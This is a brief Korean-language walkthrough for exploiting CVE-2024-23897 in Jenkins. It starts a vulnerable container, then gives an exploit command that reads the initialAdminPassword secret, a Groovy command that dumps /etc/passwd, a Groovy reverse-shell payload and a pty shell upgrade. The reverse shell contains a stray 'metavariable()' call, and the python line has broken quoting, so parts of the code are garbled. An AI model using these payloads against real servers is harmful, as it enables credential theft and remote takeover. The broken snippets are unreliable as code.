익스플로잇-CVE-2024-23897

컨테이너 실행

docker run -p 8080:8080 --name vulnerable-jenkins -d jenkins/jenkins:2.441-jdk17

로그 확인

docker logs <machine_name>

도커 머신 IP 가져오기:

docker inspect vulnerable-jenkins | grep IPAddress

#익스플로잇 코드: python3 exploit.py --target http://127.0.0.1:8080 --file /var/jenkins_home/secrets/initialAdminPassword --request-timeout 30

Groovy 스크립트:

println "cat /etc/passwd".execute().text

RCE

String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(metavariable()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

환경 변수 설정

export TERM=xterm

#대화형 셸

python -c 'import pty'; pty.spawn("/bin/bash")'